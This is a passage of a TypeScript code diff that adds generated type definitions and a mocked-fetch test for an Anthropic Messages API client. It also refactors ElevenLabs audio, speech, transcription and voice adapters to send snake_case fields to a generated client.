it) and was shown to the + * model all the same, because that check is not enforced for this request. + * More entry types may be added over time; ignore types you do not recognize. + * + * Requires `anthropic-beta: thinking-binding-controls-2026-08-01`. Present on + * every such response from a model that supports extended thinking, as `[]` + * when there is no entry to report; without the beta, blocks are removed or + * left in place all the same but nothing is reported. Removed blocks contribute + * nothing to `usage.input_tokens`; blocks left in place count as sent. When + * streaming, the array is final in `message_start`; the final `message_delta` + * event carries it only when a server-side model fallback happened mid-stream, + * in which case it holds the serving model's entries and replaces the one in + * `message_start`. + */ + input_transformations?: BetaInputTransformation[] | null + /** + * @description Request-level diagnostics. `null` when the request did not supply `diagnostics`, or when it did and no prompt-cache divergence was detected. + * @default null + */ + diagnostics: BetaDiagnostics | null + /** + * @description Context management response. + * + * Information about context management strategies applied during the request. + * @default null + */ + context_management: BetaResponseContextManagement | null + /** + * @description Information about the container used in this request. + * + * This will be non-null if a container tool (e.g. code execution) was used. + * @default null + */ + container: BetaContainer | null +} + +export const anthropicPostV1MessagesBetaTrueRequestServiceTierEnum = { + auto: 'auto', + standard_only: 'standard_only', +} as const + +export type AnthropicPostV1MessagesBetaTrueRequestServiceTierEnumKey = + (typeof anthropicPostV1MessagesBetaTrueRequestServiceTierEnum)[keyof typeof anthropicPostV1MessagesBetaTrueRequestServiceTierEnum] + +/** + * @description The parameters of a request for the next message in a conversation. + * + * See the [Messages API guide](https://platform.claude.com/docs/en/build-with-claude/working-with-messages#basic-request-and-response) to learn more about requests and responses. + * @example {"max_tokens":1024,"messages":[{"content":"Hello, world","role":"user"}],"model":"claude-opus-5-5"} + * @type object + */ +export type AnthropicPostV1MessagesBetaTrueBody = { + /** + * @description The model that will complete your prompt. + * + * See [models](https://docs.anthropic.com/en/docs/models-overview) for additional details and options. + */ + model: Model + /** + * @description Input messages. + * + * Our models are trained to operate on alternating `user` and `assistant` conversational turns. When creating a new `Message`, you specify the prior conversational turns with the `messages` parameter, and the model then generates the next `Message` in the conversation. Consecutive `user` or `assistant` turns in your request will be combined into a single turn. + * + * Each input message must be an object with a `role` and `content`. You can specify a single `user`-role message, or you can include multiple `user` and `assistant` messages. + * + * If the final message uses the `assistant` role, the response content will continue immediately from the content in that message. This can be used to constrain part of the model's response. This is called prefill. On models that don't support prefill, creating a message that ends with a partial `assistant` response returns a 400 error. See [Prefill not supported](https://platform.claude.com/docs/en/api/errors#prefill-not-supported). + * + * Example with a single `user` message: + * + * ```json + * [{"role": "user", "content": "Hello, Claude"}] + * ``` + * + * Example with multiple conversational turns: + * + * ```json + * [ + * {"role": "user", "content": "Hello there."}, + * {"role": "assistant", "content": "Hi, I'm Claude. How can I help you?"}, + * {"role": "user", "content": "Can you explain LLMs in plain English?"}, + * ] + * ``` + * + * Example with a partially-filled response from Claude, for models that support prefill: + * + * ```json + * [ + * {"role": "user", "content": "What's the Greek name for Sun? (A) Sol (B) Helios (C) Sun"}, + * {"role": "assistant", "content": "The best answer is ("}, + * ] + * ``` + * + * Each input message `content` may be either a single `string` or an array of content blocks, where each block has a specific `type`. Using a `string` for `content` is shorthand for an array of one content block of type `"text"`. The following input messages are equivalent: + * + * ```json + * {"role": "user", "content": "Hello, Claude"} + * ``` + * + * ```json + * {"role": "user", "content": [{"type": "text", "text": "Hello, Claude"}]} + * ``` + * + * See [input examples](https://platform.claude.com/docs/en/build-with-claude/working-with-messages). + * + * Note that if you want to include a [system prompt](https://platform.claude.com/docs/en/build-with-claude/prompt-engineering/claude-prompting-best-practices#give-claude-a-role), you can use the top-level `system` parameter. + * + * There is a limit of 100,000 messages in a single request. + * @type array + */ + messages: BetaInputMessageUnion[] + /** + * @description Top-level cache control automatically applies a cache_control marker to the last cacheable block in the request. + */ + cache_control?: + | (BetaCacheControlEphemeral & { + type: 'ephemeral' + }) + | null + /** + * @description Compaction configuration. + * + * When set on `POST /v1/messages`, the request is a compaction request: the conversation in `messages` is summarized and the response holds only the resulting `compaction` block (`stop_reason` `"compaction"`), which later requests send first in `messages` in place of the messages it summarizes. `POST /v1/messages/count_tokens` accepts this parameter and ignores it: the count it returns is for the conversation in `messages` as sent. Cannot be combined with `context_management`. + */ + compaction?: BetaCompactionConfig | null + /** + * @description Container identifier for reuse across requests. + */ + container?: BetaContainerParams | string | null + /** + * @description Context management configuration. + * + * This allows you to control how Claude manages context across multiple requests, such as whether to clear function results or not. + */ + context_management?: BetaContextManagementConfig | null + /** + * @description Request-level diagnostics. Supply `previous_message_id` to have the response include `diagnostics.cache_miss_reason` explaining any prompt-cache divergence from that prior request. + */ + diagnostics?: BetaDiagnosticsParam | null + /** + * @description The `fallback_credit_token` from a prior refusal's `stop_details`. + * + * When a preceding request was refused and returned a `fallback_credit_token`, + * pass that code here on the retry to have the retry's cache-creation tokens + * for the prefix that was warm on the refused model billed at the cache-read + * rate. Must be redeemed by the same organization and workspace, with the same + * request body (optionally extended by one appended `assistant` message whose + * content is the partial text — with any trailing whitespace stripped from + * the final text block — and paired server-tool blocks streamed before the + * refusal; the appended-assistant form is not available for requests with + * `output_format` set or forced `tool_choice`), on an eligible fallback + * model, on the same platform, + * and within 5 minutes of the refusal; a mismatch is a 400. A token minted + * mid-server-tool-loop whose partial content was continuable may only be + * redeemed with the appended-assistant form — if an exact-body retry is + * rejected with a 400 saying the token must be redeemed by continuing the + * partial response, retry with the appended-assistant form instead. + * + * When the appended-assistant form is used on a model that otherwise disallows + * assistant-turn prefill, this token also authorizes that one prefill. + */ + fallback_credit_token?: string | BetaFallbackCreditTokenParam | null + /** + * @description Opt-in server-side retry on one or more substitute models when the requested model declines for policy reasons. Tried in order: if the first entry also declines, the second is tried, and so on. Some models don't support fallbacks; on those models, a list of fallback models returns a 400 error. See [Server-side fallback](https://platform.claude.com/docs/en/build-with-claude/refusals-and-fallback#server-side-fallback). The string "default" requests the requested model's server-defined default fallback configuration. On a model that doesn't support fallbacks, the request runs on the requested model alone, so a declined request stays declined. + */ + fallbacks?: BetaFallbackConfigV2[] | 'default' | null + /** + * @description Specifies the geographic region for inference processing. If not specified, the workspace's `default_inference_geo` is used. + */ + inference_geo?: string | null + /** + * @description The maximum number of tokens to generate before stopping. + * + * Note that our models may stop _before_ reaching this maximum. This parameter only specifies the absolute maximum number of tokens to generate. + * + * Set to `0` to populate the [prompt cache](https://platform.claude.com/docs/en/build-with-claude/prompt-caching#pre-warming-the-cache) without generating a response. + * + * Different models have different maximum values for this parameter. See [models](https://platform.claude.com/docs/en/about-claude/models/overview) for details. + * @minimum 0 + * @example 1024 + * @type integer + */ + max_tokens: number + /** + * @description MCP servers to be utilized in this request + * @type array | undefined + */ + mcp_servers?: BetaRequestMCPServerURLDefinition[] + /** + * @description An object describing metadata about the request. + * @type object | undefined + */ + metadata?: BetaMetadata + /** + * @description Configuration options for the model's output, such as the output format. + * @type object | undefined + */ + output_config?: BetaOutputConfig + /** + * @description Deprecated: Use `output_config.format` instead. See [structured outputs](https://platform.claude.com/docs/en/build-with-claude/structured-outputs) + * + * A schema to specify Claude's output format in responses. This parameter will be removed in a future release. + * @deprecated + */ + output_format?: BetaJsonOutputFormat | null + /** + * @description Determines whether to use priority capacity (if available) or standard capacity for this request. + * + * Anthropic offers different levels of service for your API requests. See [service-tiers](https://platform.claude.com/docs/en/api/service-tiers) for details. + * @type string | undefined + */ + service_tier?: AnthropicPostV1MessagesBetaTrueRequestServiceTierEnumKey + /** + * @description The inference speed mode for this request. `"fast"` enables high output-tokens-per-second inference. + * + * Some models require the `fast-mode-2026-02-01` beta header for any `speed` value. See [fast mode](https://platform.claude.com/docs/en/build-with-claude/fast-mode) for which models. + */ + speed?: BetaSpeedKey | null + /** + * @description Custom text sequences that will cause the model to stop generating. + * + * Our models will normally stop when they have naturally completed their turn, which will result in a response `stop_reason` of `"end_turn"`. + * + * If you want the model to stop generating when it encounters custom strings of text, you can use the `stop_sequences` parameter. If the model encounters one of the custom sequences, the response `stop_reason` value will be `"stop_sequence"` and the response `stop_sequence` value will contain the matched stop sequence. + * @type array | undefined + */ + stop_sequences?: string[] + /** + * @description Whether to incrementally stream the response using server-sent events. When `true`, SDKs return a raw event stream. + * + * In the TypeScript, Python and Ruby SDKs, the recommended way to stream is `messages.stream()`. It sets `stream` for you and accumulates the events into the final message. See [Streaming with SDKs](https://platform.claude.com/docs/en/build-with-claude/streaming#streaming-with-sdks) for an example in each language. + * @example false + * @type boolean | undefined + */ + stream?: boolean + /** + * @description System prompt. + * + * A system prompt is a way of providing context and instructions to Claude, such as specifying a particular goal or role. See our [guide to system prompts](https://platform.claude.com/docs/en/build-with-claude/prompt-engineering/claude-prompting-best-practices#give-claude-a-role). + * @example [{"text":"Today's date is 2024-06-01.","type":"text"}] + * @example Today's date is 2023-01-01. + */ + system?: string | BetaRequestTextBlock[] + /** + * @description Configuration for Claude's thinking. + * + * With `{"type": "adaptive"}`, Claude decides when and how much to think. With `{"type": "enabled"}` (manual extended thinking), you set a `budget_tokens` of at least 1,024. Thinking tokens count toward your `max_tokens` limit. + * + * Which `type` values are accepted, and what happens when you omit `thinking`, depend on the model. See [thinking](https://platform.claude.com/docs/en/build-with-claude/thinking#configuring-thinking) for each model's behavior. + * @example {"type":"adaptive"} + */ + thinking?: BetaThinkingConfigParam + /** + * @description Server-held conversation state (a Thread). `{"type": "create"}` asks the server to hold this conversation's state under the response's `id`; `{"type": "continue", "previous_message_id": ...}` resumes from a previous response so only the new turn's messages are sent. The response shape is unchanged. + */ + thread?: + | ( + | (BetaThreadCreateParams & { + type: 'create' + }) + | (BetaThreadContinueParams & { + type: 'continue' + }) + ) + | null + /** + * @description How the model should use the provided tools. The model can use a specific tool, any available tool, decide by itself, or not use tools at all. + */ + tool_choice?: BetaToolChoice + /** + * @description Definitions of tools that the model may use. + * + * If you include `tools` in your API request, the model may return `tool_use` content blocks that represent the model's use of those tools. You can then run those tools using the tool input generated by the model and then optionally return results back to the model using `tool_result` content blocks. + * + * There are two types of tools: **client tools** and **server tools**. The behavior described below applies to client tools. For [server tools](https://platform.claude.com/docs/en/agents-and-tools/tool-use/server-tools), see their individual documentation as each has its own behavior (e.g., the [web search tool](https://platform.claude.com/docs/en/agents-and-tools/tool-use/web-search-tool)). + * + * Each tool definition includes: + * + * * `name`: Name of the tool. + * * `description`: Optional, but strongly-recommended description of the tool. + * * `input_schema`: [JSON schema](https://json-schema.org/draft/2020-12) for the tool `input` shape that the model will produce in `tool_use` output content blocks. + * + * For example, if you defined `tools` as: + * + * ```json + * [ + * { + * "name": "get_stock_price", + * "description": "Get the current stock price for a given ticker symbol.", + * "input_schema": { + * "type": "object", + * "properties": { + * "ticker": { + * "type": "string", + * "description": "The stock ticker symbol, e.g. AAPL for Apple Inc." + * } + * }, + * "required": ["ticker"] + * } + * } + * ] + * ``` + * + * And then asked the model "What's the S&P 500 at today?", the model might produce `tool_use` content blocks in the response like this: + * + * ```json + * [ + * { + * "type": "tool_use", + * "id": "toolu_01D7FLrfh4GYq7yT1ULFeyMV", + * "name": "get_stock_price", + * "input": { "ticker": "^GSPC" } + * } + * ] + * ``` + * + * You might then run your `get_stock_price` tool with `{"ticker": "^GSPC"}` as an input, and return the following back to the model in a subsequent `user` message: + * + * ```json + * [ + * { + * "type": "tool_result", + * "tool_use_id": "toolu_01D7FLrfh4GYq7yT1ULFeyMV", + * "content": "259.75 USD" + * } + * ] + * ``` + * + * Tools can be used for workflows that include running client-side tools and functions, or more generally whenever you want the model to produce a particular JSON structure of output. + * + * See our [guide](https://platform.claude.com/docs/en/agents-and-tools/tool-use/overview) for more details. + * @example {"description":"Get the current weather in a given location","input_schema":{"properties":{"location":{"description":"The city and state, e.g. San Francisco, CA","type":"string"},"unit":{"description":"Unit for the output - one of (celsius, fahrenheit)","type":"string"}},"required":["location"],"type":"object"},"name":"get_weather"} + * @type array | undefined + */ + tools?: BetaToolUnion[] +} + +export type AnthropicPostV1MessagesBetaTrueOptions = { + body: AnthropicPostV1MessagesBetaTrueBody + path?: never + query?: never + headers: AnthropicPostV1MessagesBetaTrueHeaders +} + +export type AnthropicPostV1MessagesBetaTrueResponses = { + '200': AnthropicPostV1MessagesBetaTrueStatus200 +} + +/** + * @description Union of all possible responses + */ +export type AnthropicPostV1MessagesBetaTrueResponse = + AnthropicPostV1MessagesBetaTrueStatus200 diff --git a/packages/ai-anthropic/tests/client-parity.test.ts b/packages/ai-anthropic/tests/client-parity.test.ts index 41c908fc9b..313d1c2f0e 100644 --- a/packages/ai-anthropic/tests/client-parity.test.ts +++ b/packages/ai-anthropic/tests/client-parity.test.ts @@ -97,8 +97,9 @@ async function onBoth( call: (client: AnthropicClient) => Promise, ) { const makers = [ - (clientOptions: ClientOptions): AnthropicClient => - new Anthropic(clientOptions), + // The SDK declares its own request types; the runtime calls are the same. + (clientOptions: ClientOptions) => + new Anthropic(clientOptions) as AnthropicClient, createAnthropicClient, ] return Promise.all( diff --git a/packages/ai-anthropic/tests/generated-client.test.ts b/packages/ai-anthropic/tests/generated-client.test.ts new file mode 100644 index 0000000000..ef9f0ac572 --- /dev/null +++ b/packages/ai-anthropic/tests/generated-client.test.ts @@ -0,0 +1,81 @@ +import { describe, expect, it } from 'vitest' +import { createAnthropicClient } from '../src/client' + +// The Messages call goes through the generated `/v1/messages?beta=true` +// operation. The fetch is injected through the client options. + +function recordingFetch(response: () => Response) { + const requests: Array = [] + const fetch = async (input: string | URL | Request, init?: RequestInit) => { + requests.push(new Request(input, init)) + return response() + } + return { fetch, requests } +} + +const params = { + model: 'claude-opus-4-7', + max_tokens: 64, + messages: [{ role: 'user' as const, content: 'Hi' }], +} + +describe('generated Messages operation', () => { + it('sends a JSON call and parses the message', async () => { + const message = { id: 'msg_1', type: 'message', content: [] } + const { fetch, requests } = recordingFetch(() => Response.json(message)) + const client = createAnthropicClient({ + apiKey: 'k', + baseURL: 'https://api.anthropic.com', + fetch, + }) + + const result = await client.beta.messages.create({ + ...params, + betas: ['b1'], + }) + + expect(result).toEqual(message) + const [request] = requests + expect(request?.method).toBe('POST') + expect(request?.url).toBe('https://api.anthropic.com/v1/messages?beta=true') + expect(request?.headers.get('content-type')).toBe('application/json') + expect(request?.headers.get('anthropic-beta')).toBe('b1') + expect(request?.headers.get('x-api-key')).toBe('k') + expect(await request?.json()).toEqual(params) + }) + + it('sends a streaming call and parses the SSE events', async () => { + const sse = [ + 'event: message_start\ndata: {"type":"message_start","message":{"id":"msg_1"}}\n\n', + 'event: ping\ndata: {"type":"ping"}\n\n', + 'event: message_stop\ndata: {"type":"message_stop"}\n\n', + ].join('') + const { fetch, requests } = recordingFetch( + () => + new Response(sse, { headers: { 'content-type': 'text/event-stream' } }), + ) + const client = createAnthropicClient({ + apiKey: 'k', + baseURL: 'https://api.anthropic.com', + fetch, + }) + + const stream = await client.beta.messages.create({ + ...params, + stream: true, + }) + const events: Array = [] + if (Symbol.asyncIterator in stream) { + for await (const event of stream) events.push(event) + } + + expect(events).toEqual([ + { type: 'message_start', message: { id: 'msg_1' } }, + { type: 'message_stop' }, + ]) + const [request] = requests + expect(request?.method).toBe('POST') + expect(request?.url).toBe('https://api.anthropic.com/v1/messages?beta=true') + expect(await request?.json()).toEqual({ ...params, stream: true }) + }) +}) diff --git a/packages/ai-anthropic/vite.config.ts b/packages/ai-anthropic/vite.config.ts index 81aa27c404..11ce7e1408 100644 --- a/packages/ai-anthropic/vite.config.ts +++ b/packages/ai-anthropic/vite.config.ts @@ -21,6 +21,7 @@ const config = defineConfig({ '**/*.test.ts', '**/*.config.ts', '**/types.ts', + 'src/generated/', ], include: ['src/**/*.ts'], }, diff --git a/packages/ai-elevenlabs/src/adapters/audio.ts b/packages/ai-elevenlabs/src/adapters/audio.ts index 5a8e665b05..2ac8263180 100644 --- a/packages/ai-elevenlabs/src/adapters/audio.ts +++ b/packages/ai-elevenlabs/src/adapters/audio.ts @@ -11,8 +11,8 @@ import { isElevenLabsMusicModel, isElevenLabsSoundEffectsModel, } from '../model-meta' -import type { ElevenLabs } from '@elevenlabs/elevenlabs-js' import type { ElevenLabsClient } from '../client/index' +import type { MusicPrompt } from '../generated/client/types' import type { AudioGenerationOptions, AudioGenerationResult, @@ -152,25 +152,25 @@ export class ElevenLabsAudioAdapter< const stream = await this.client.music.compose( { - modelId, + model_id: modelId, ...(options.prompt && !music.compositionPlan ? { prompt: options.prompt } : {}), ...(music.compositionPlan - ? { compositionPlan: toMusicPrompt(music.compositionPlan) } + ? { composition_plan: toMusicPrompt(music.compositionPlan) } : {}), ...(options.duration != null && !music.compositionPlan - ? { musicLengthMs: Math.round(options.duration * 1000) } + ? { music_length_ms: Math.round(options.duration * 1000) } : {}), - ...(outputFormat ? { outputFormat } : {}), ...(music.seed != null ? { seed: music.seed } : {}), ...(music.forceInstrumental != null - ? { forceInstrumental: music.forceInstrumental } + ? { force_instrumental: music.forceInstrumental } : {}), ...(music.respectSectionsDurations != null - ? { respectSectionsDurations: music.respectSectionsDurations } + ? { respect_sections_durations: music.respectSectionsDurations } : {}), }, + outputFormat ? { output_format: outputFormat } : {}, options.abortSignal ? { abortSignal: options.abortSignal } : {}, ) @@ -189,17 +189,16 @@ export class ElevenLabsAudioAdapter< const stream = await this.client.textToSoundEffects.convert( { text: options.prompt, - // The SDK types list only the sound models it knew at release. - modelId: modelId as ElevenLabs.SfxModelId, + model_id: modelId, ...(options.duration != null - ? { durationSeconds: options.duration } + ? { duration_seconds: options.duration } : {}), - ...(outputFormat ? { outputFormat } : {}), ...(sfx.promptInfluence != null - ? { promptInfluence: sfx.promptInfluence } + ? { prompt_influence: sfx.promptInfluence } : {}), ...(sfx.loop != null ? { loop: sfx.loop } : {}), }, + outputFormat ? { output_format: outputFormat } : {}, options.abortSignal ? { abortSignal: options.abortSignal } : {}, ) @@ -230,15 +229,15 @@ export class ElevenLabsAudioAdapter< } } -function toMusicPrompt(plan: ElevenLabsMusicCompositionPlan) { +function toMusicPrompt(plan: ElevenLabsMusicCompositionPlan): MusicPrompt { return { - positiveGlobalStyles: plan.positiveGlobalStyles ?? [], - negativeGlobalStyles: plan.negativeGlobalStyles ?? [], + positive_global_styles: plan.positiveGlobalStyles ?? [], + negative_global_styles: plan.negativeGlobalStyles ?? [], sections: (plan.sections ?? []).map((section) => ({ - sectionName: section.sectionName, - positiveLocalStyles: section.positiveLocalStyles ?? [], - negativeLocalStyles: section.negativeLocalStyles ?? [], - durationMs: section.durationMs ?? 10000, + section_name: section.sectionName, + positive_local_styles: section.positiveLocalStyles ?? [], + negative_local_styles: section.negativeLocalStyles ?? [], + duration_ms: section.durationMs ?? 10000, lines: section.lines ?? [], })), } diff --git a/packages/ai-elevenlabs/src/adapters/speech.ts b/packages/ai-elevenlabs/src/adapters/speech.ts index 4fbb69ea2f..b71cd31c06 100644 --- a/packages/ai-elevenlabs/src/adapters/speech.ts +++ b/packages/ai-elevenlabs/src/adapters/speech.ts @@ -7,7 +7,8 @@ import { } from '../utils/client' import { createElevenLabsClient } from '../client/index' import type { ElevenLabs } from '@elevenlabs/elevenlabs-js' -import type { ElevenLabsClient } from '../client/index' +import type { ElevenLabsClient, ElevenLabsQuery } from '../client/index' +import type { VoiceSettingsResponseModel } from '../generated/client/types' import type { CatalogVoice, ListVoicesOptions, @@ -148,14 +149,18 @@ export class ElevenLabsSpeechAdapter< arrayBufferToBase64(wrapAsWav ? wrapPcmAsWav(buffer) : buffer) const encodeAudioBase64 = (audioBase64: string) => wrapAsWav ? encodeAudio(base64ToArrayBuffer(audioBase64)) : audioBase64 - const base = { - modelId: this.model, + const query: ElevenLabsQuery = { ...(effectiveOutputFormat - ? { outputFormat: effectiveOutputFormat } + ? { output_format: effectiveOutputFormat } : {}), - ...(languageCode ? { languageCode } : {}), + } + const base = { + model_id: this.model, + ...(languageCode ? { language_code: languageCode } : {}), ...(seed != null ? { seed } : {}), - ...(applyTextNormalization ? { applyTextNormalization } : {}), + ...(applyTextNormalization + ? { apply_text_normalization: applyTextNormalization } + : {}), } // Four endpoints, picked by (turns?, timestamps?). The dialogue pair @@ -164,7 +169,7 @@ export class ElevenLabsSpeechAdapter< if (options.turns) { const inputs = options.turns.map((turn) => ({ text: turn.text, - voiceId: turn.voice, + voice_id: turn.voice, })) const dialogue = { ...base, @@ -178,6 +183,7 @@ export class ElevenLabsSpeechAdapter< const response = await this.client.textToDialogue.convertWithTimestamps( dialogue, + query, requestOptions, ) return { @@ -192,6 +198,7 @@ export class ElevenLabsSpeechAdapter< const stream = await this.client.textToDialogue.convert( dialogue, + query, requestOptions, ) return { @@ -213,24 +220,32 @@ export class ElevenLabsSpeechAdapter< ...base, text: options.text, ...(voiceSettings - ? { voiceSettings: mapVoiceSettings(voiceSettings, options.speed) } + ? { voice_settings: mapVoiceSettings(voiceSettings, options.speed) } : options.speed != null - ? { voiceSettings: { speed: options.speed } } + ? { voice_settings: { speed: options.speed } } : {}), - ...(previousText ? { previousText } : {}), - ...(nextText ? { nextText } : {}), - ...(previousRequestIds ? { previousRequestIds } : {}), - ...(nextRequestIds ? { nextRequestIds } : {}), + ...(previousText ? { previous_text: previousText } : {}), + ...(nextText ? { next_text: nextText } : {}), + ...(previousRequestIds + ? { previous_request_ids: previousRequestIds } + : {}), + ...(nextRequestIds ? { next_request_ids: nextRequestIds } : {}), ...(applyLanguageTextNormalization != null - ? { applyLanguageTextNormalization } + ? { + apply_language_text_normalization: applyLanguageTextNormalization, + } : {}), - ...(enableLogging != null ? { enableLogging } : {}), + } + const singleQuery: ElevenLabsQuery = { + ...query, + ...(enableLogging != null ? { enable_logging: enableLogging } : {}), } if (options.timestamps) { const response = await this.client.textToSpeech.convertWithTimestamps( voiceId, single, + singleQuery, requestOptions, ) return { @@ -245,10 +260,11 @@ export class ElevenLabsSpeechAdapter< const stream = await this.client.textToSpeech.convert( voiceId, + single, { - ...single, + ...singleQuery, ...(optimizeStreamingLatency != null - ? { optimizeStreamingLatency } + ? { optimize_streaming_latency: optimizeStreamingLatency } : {}), }, requestOptions, @@ -340,11 +356,11 @@ function toAlignmentFields( function mapVoiceSettings( settings: ElevenLabsVoiceSettings, speedOverride: number | undefined, -): Record { +): VoiceSettingsResponseModel { return { ...(settings.stability != null ? { stability: settings.stability } : {}), ...(settings.similarityBoost != null - ? { similarityBoost: settings.similarityBoost } + ? { similarity_boost: settings.similarityBoost } : {}), ...(settings.style != null ? { style: settings.style } : {}), ...(speedOverride != null @@ -353,7 +369,7 @@ function mapVoiceSettings( ? { speed: settings.speed } : {}), ...(settings.useSpeakerBoost != null - ? { useSpeakerBoost: settings.useSpeakerBoost } + ? { use_speaker_boost: settings.useSpeakerBoost } : {}), } } diff --git a/packages/ai-elevenlabs/src/adapters/transcription.ts b/packages/ai-elevenlabs/src/adapters/transcription.ts index f53d73c3e0..79c95f1959 100644 --- a/packages/ai-elevenlabs/src/adapters/transcription.ts +++ b/packages/ai-elevenlabs/src/adapters/transcription.ts @@ -100,52 +100,54 @@ export class ElevenLabsTranscriptionAdapter< const response = await this.client.speechToText.convert( { - modelId: this.model, + model_id: this.model, ...(audioInput.kind === 'file' ? { file: audioInput.value } - : { cloudStorageUrl: audioInput.value }), - ...(options.language ? { languageCode: options.language } : {}), + : { cloud_storage_url: audioInput.value }), + ...(options.language ? { language_code: options.language } : {}), ...(modelOpts.tagAudioEvents != null - ? { tagAudioEvents: modelOpts.tagAudioEvents } + ? { tag_audio_events: modelOpts.tagAudioEvents } : {}), ...(modelOpts.numSpeakers != null - ? { numSpeakers: modelOpts.numSpeakers } + ? { num_speakers: modelOpts.numSpeakers } : {}), ...(modelOpts.timestampsGranularity - ? { timestampsGranularity: modelOpts.timestampsGranularity } + ? { timestamps_granularity: modelOpts.timestampsGranularity } : {}), ...(modelOpts.diarize != null ? { diarize: modelOpts.diarize } : {}), ...(modelOpts.diarizationThreshold != null - ? { diarizationThreshold: modelOpts.diarizationThreshold } + ? { diarization_threshold: modelOpts.diarizationThreshold } : {}), ...(modelOpts.detectSpeakerRoles != null - ? { detectSpeakerRoles: modelOpts.detectSpeakerRoles } + ? { detect_speaker_roles: modelOpts.detectSpeakerRoles } : {}), ...(modelOpts.keyterms ? { keyterms: modelOpts.keyterms } : {}), ...(modelOpts.entityDetection - ? { entityDetection: modelOpts.entityDetection } + ? { entity_detection: modelOpts.entityDetection } : {}), ...(modelOpts.entityRedaction - ? { entityRedaction: modelOpts.entityRedaction } + ? { entity_redaction: modelOpts.entityRedaction } : {}), ...(modelOpts.entityRedactionMode - ? { entityRedactionMode: modelOpts.entityRedactionMode } + ? { entity_redaction_mode: modelOpts.entityRedactionMode } : {}), ...(modelOpts.noVerbatim != null - ? { noVerbatim: modelOpts.noVerbatim } + ? { no_verbatim: modelOpts.noVerbatim } : {}), ...(modelOpts.temperature != null ? { temperature: modelOpts.temperature } : {}), ...(modelOpts.seed != null ? { seed: modelOpts.seed } : {}), - ...(modelOpts.enableLogging != null - ? { enableLogging: modelOpts.enableLogging } - : {}), ...(modelOpts.useMultiChannel != null - ? { useMultiChannel: modelOpts.useMultiChannel } + ? { use_multi_channel: modelOpts.useMultiChannel } + : {}), + ...(modelOpts.fileFormat + ? { file_format: modelOpts.fileFormat } : {}), - ...(modelOpts.fileFormat ? { fileFormat: modelOpts.fileFormat } : {}), - } as Parameters[0], + }, + modelOpts.enableLogging != null + ? { enable_logging: modelOpts.enableLogging } + : {}, options.abortSignal ? { abortSignal: options.abortSignal } : {}, ) diff --git a/packages/ai-elevenlabs/src/adapters/voice.ts b/packages/ai-elevenlabs/src/adapters/voice.ts index f21f869f91..573185fede 100644 --- a/packages/ai-elevenlabs/src/adapters/voice.ts +++ b/packages/ai-elevenlabs/src/adapters/voice.ts @@ -123,33 +123,35 @@ export class ElevenLabsVoiceAdapter< const previewResponse = await this.client.textToVoice.design( { - voiceDescription: options.prompt, - modelId: this.model, - ...(opts.outputFormat ? { outputFormat: opts.outputFormat } : {}), + voice_description: options.prompt, + model_id: this.model, ...(opts.text ? { text: opts.text } : {}), ...(opts.autoGenerateText != null - ? { autoGenerateText: opts.autoGenerateText } + ? { auto_generate_text: opts.autoGenerateText } : {}), ...(opts.loudness != null ? { loudness: opts.loudness } : {}), ...(opts.seed != null ? { seed: opts.seed } : {}), ...(opts.guidanceScale != null - ? { guidanceScale: opts.guidanceScale } + ? { guidance_scale: opts.guidanceScale } : {}), ...(opts.quality != null ? { quality: opts.quality } : {}), ...(opts.shouldEnhance != null - ? { shouldEnhance: opts.shouldEnhance } + ? { should_enhance: opts.shouldEnhance } : {}), ...(opts.promptStrength != null - ? { promptStrength: opts.promptStrength } + ? { prompt_strength: opts.promptStrength } + : {}), + ...(referenceAudioBase64 + ? { reference_audio_base64: referenceAudioBase64 } : {}), - ...(referenceAudioBase64 ? { referenceAudioBase64 } : {}), ...(opts.remixingSessionId - ? { remixingSessionId: opts.remixingSessionId } + ? { remixing_session_id: opts.remixingSessionId } : {}), ...(opts.remixingSessionIterationId - ? { remixingSessionIterationId: opts.remixingSessionIterationId } + ? { remixing_session_iteration_id: opts.remixingSessionIterationId } : {}), }, + opts.outputFormat ? { output_format: opts.outputFormat } : {}, requestOptions, ) @@ -220,12 +222,14 @@ export class ElevenLabsVoiceAdapter< const saved = await this.client.textToVoice.create( { - voiceName, - voiceDescription, - generatedVoiceId: best.voiceId, + voice_name: voiceName, + voice_description: voiceDescription, + generated_voice_id: best.voiceId, ...(labels ? { labels } : {}), ...(rest.length > 0 - ? { playedNotSelectedVoiceIds: rest.map((voice) => voice.voiceId) } + ? { + played_not_selected_voice_ids: rest.map((voice) => voice.voiceId), + } : {}), }, requestOptions, diff --git a/packages/ai-elevenlabs/src/client/index.ts b/packages/ai-elevenlabs/src/client/index.ts index 54e1c4a438..35e2f24a67 100644 --- a/packages/ai-elevenlabs/src/client/index.ts +++ b/packages/ai-elevenlabs/src/client/index.ts @@ -3,43 +3,50 @@ import { ElevenLabsTimeoutError, } from '@elevenlabs/elevenlabs-js/errors/index.js' import { UnprocessableEntityError } from '@elevenlabs/elevenlabs-js/api/errors/UnprocessableEntityError.js' +import { createHttpClient, mergeHeaders } from '@tanstack/ai-utils/http' +import { sendWith } from '@tanstack/ai-utils/kubb' import { - createHttpClient, - mergeHeaders, - toFormData, -} from '@tanstack/ai-utils/http' + elevenlabsPostV1Music, + elevenlabsPostV1SoundGeneration, + elevenlabsPostV1SpeechToText, + elevenlabsPostV1TextToDialogue, + elevenlabsPostV1TextToDialogueWithTimestamps, + elevenlabsPostV1TextToSpeechVoiceId, + elevenlabsPostV1TextToSpeechVoiceIdWithTimestamps, + elevenlabsPostV1TextToVoice, + elevenlabsPostV1TextToVoiceDesign, +} from '../generated/client/sdk' import { getElevenLabsApiKeyFromEnv } from '../utils/client' +import type { ClientInstance } from '@tanstack/ai-utils/kubb' import type { ElevenLabs } from '@elevenlabs/elevenlabs-js' import type { ElevenLabsClientConfig } from '../utils/client' +import type { ElevenLabsOutputFormat } from '../model-meta' +import type { + ElevenlabsPostV1MusicBody, + ElevenlabsPostV1SoundGenerationBody, + ElevenlabsPostV1SpeechToTextBody, + ElevenlabsPostV1TextToDialogueBody, + ElevenlabsPostV1TextToDialogueWithTimestampsBody, + ElevenlabsPostV1TextToSpeechVoiceIdBody, + ElevenlabsPostV1TextToSpeechVoiceIdWithTimestampsBody, + ElevenlabsPostV1TextToVoiceBody, + ElevenlabsPostV1TextToVoiceDesignBody, +} from '../generated/client/types' /** The per-call options of the SDK methods that this package uses. */ interface RequestOptions { abortSignal?: AbortSignal } -/** The `speechToText.convert` fields that this package sends. */ -type SpeechToTextRequest = Pick< - ElevenLabs.BodySpeechToTextV1SpeechToTextPost, - | 'modelId' - | 'cloudStorageUrl' - | 'languageCode' - | 'tagAudioEvents' - | 'numSpeakers' - | 'timestampsGranularity' - | 